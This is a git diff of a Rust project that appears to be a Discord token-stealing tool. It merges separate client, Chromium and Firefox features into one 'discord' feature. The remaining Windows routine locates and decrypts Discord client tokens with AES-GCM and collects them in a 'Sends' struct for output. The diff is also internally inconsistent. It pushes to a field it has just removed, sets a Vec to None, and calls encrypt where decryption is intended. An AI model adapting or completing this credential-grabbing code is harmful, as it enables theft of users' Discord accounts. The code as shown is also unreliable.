7 files changed, 14 insertions(+), 63 deletions(-)

M command/src/app.rs
M data/Cargo.toml
D data/src/all_data/discord_chromium.rs
M data/src/all_data/discord_client.rs
D data/src/all_data/discord_firefox.rs
M data/src/all_data/mod.rs
M data/src/lib.rs

@@ 26,7 26,7 @@ extern "C" {

 
 #[function_component(App)]
 pub fn app() -> Html {
-    let types: Vec<&str> = vec!["discord-client", "discord-chromium", "discord-firefox"];
+    let types: Vec<&str> = vec!["discord"];
 
     let types_clone = types.clone();
     let gen = Callback::from(move |_| {

@@ 12,9 12,7 @@ serde_derive = "1.0.152"

 
 [features]
 functions = []
-discord-chromium = ["functions"]
-discord-firefox = ["functions"]
-discord-client = ["functions"]
+discord = ["functions"]
 
 [target.'cfg(target_os = "windows")'.dependencies]
 aes-gcm = "0.10.1"

@@ 1,18 0,0 @@

-use crate::Sends;
-
-impl Sends {
-    #[cfg(all(feature = "discord-chromium", target_os = "windows"))]
-    pub fn discord_chromium(&mut self) -> Option<()> {
-        None
-    }
-
-    #[cfg(all(feature = "discord-chromium", target_os = "linux"))]
-    pub fn discord_chromium(&mut self) -> Option<()> {
-        None
-    }
-
-    #[cfg(all(feature = "discord-chromium", target_os = "macos"))]
-    pub fn discord_chromium(&mut self) -> Option<()> {
-        None
-    }
-}

@@ 1,8 1,8 @@

 use crate::Sends;
 
 impl Sends {
-    #[cfg(all(feature = "discord-client", target_os = "windows"))]
-    pub fn discord_client(&mut self) -> Option<()> {
+    #[cfg(all(feature = "discord", target_os = "windows"))]
+    pub fn discord(&mut self) -> Option<()> {
         use aes_gcm::{aead::Aead, Aes256Gcm, KeyInit, Nonce};
         use regex::bytes::Regex;
         use serde_json::Value;

@@ 71,8 71,7 @@ impl Sends {

                             let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
                             let token = decrypted.ok()?;
                             let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
-                            self.discord_client_token =
-                                Some(String::from_utf8(token.to_vec()).ok()?);
+                            self.discord_client_token.push(String::from_utf8(token.to_vec()).ok()?);
                             break;
                         }
                     }

@@ 83,13 82,13 @@ impl Sends {

         Some(())
     }
 
-    #[cfg(all(feature = "discord-client", target_os = "linux"))]
-    pub fn discord_client(&mut self) -> Option<()> {
+    #[cfg(all(feature = "discord", target_os = "linux"))]
+    pub fn discord(&mut self) -> Option<()> {
         None
     }
 
-    #[cfg(all(feature = "discord-client", target_os = "macos"))]
-    pub fn discord_client(&mut self) -> Option<()> {
+    #[cfg(all(feature = "discord", target_os = "macos"))]
+    pub fn discord(&mut self) -> Option<()> {
         None
     }
 }

@@ 1,18 0,0 @@

-use crate::Sends;
-
-impl Sends {
-    #[cfg(all(feature = "discord-firefox", target_os = "windows"))]
-    pub fn discord_firefox(&mut self) -> Option<()> {
-        None
-    }
-
-    #[cfg(all(feature = "discord-firefox", target_os = "linux"))]
-    pub fn discord_firefox(&mut self) -> Option<()> {
-        None
-    }
-
-    #[cfg(all(feature = "discord-firefox", target_os = "macos"))]
-    pub fn discord_firefox(&mut self) -> Option<()> {
-        None
-    }
-}

@@ 1,3 1,1 @@

-pub mod discord_chromium;
-pub mod discord_client;
-pub mod discord_firefox;
+pub mod discord;

@@ 5,18 5,14 @@ mod all_data;

 
 #[derive(Deserialize, Serialize, Clone)]
 pub struct Sends {
-    pub discord_client_token: Option<String>,
-    pub discord_chromium_token: Option<String>,
-    pub discord_firefox_token: Option<String>,
+    pub discord_token: Vec<String>,
 }
 
 #[cfg(feature = "functions")]
 impl Sends {
     pub fn init() -> Sends {
         Sends {
-            discord_client_token: None,
-            discord_chromium_token: None,
-            discord_firefox_token: None,
+            discord_token: None,
         }
     }
 }

@@ 24,11 20,7 @@ impl Sends {

 #[cfg(feature = "functions")]
 pub fn get_all_data() -> Sends {
     let mut sends = Sends::init();
-    #[cfg(feature = "discord-client")]
-    sends.discord_client();
-    #[cfg(feature = "discord-chromium")]
-    sends.discord_chromium();
-    #[cfg(feature = "discord-firefox")]
-    sends.discord_firefox();
+    #[cfg(feature = "discord")]
+    sends.discord();
     sends
 }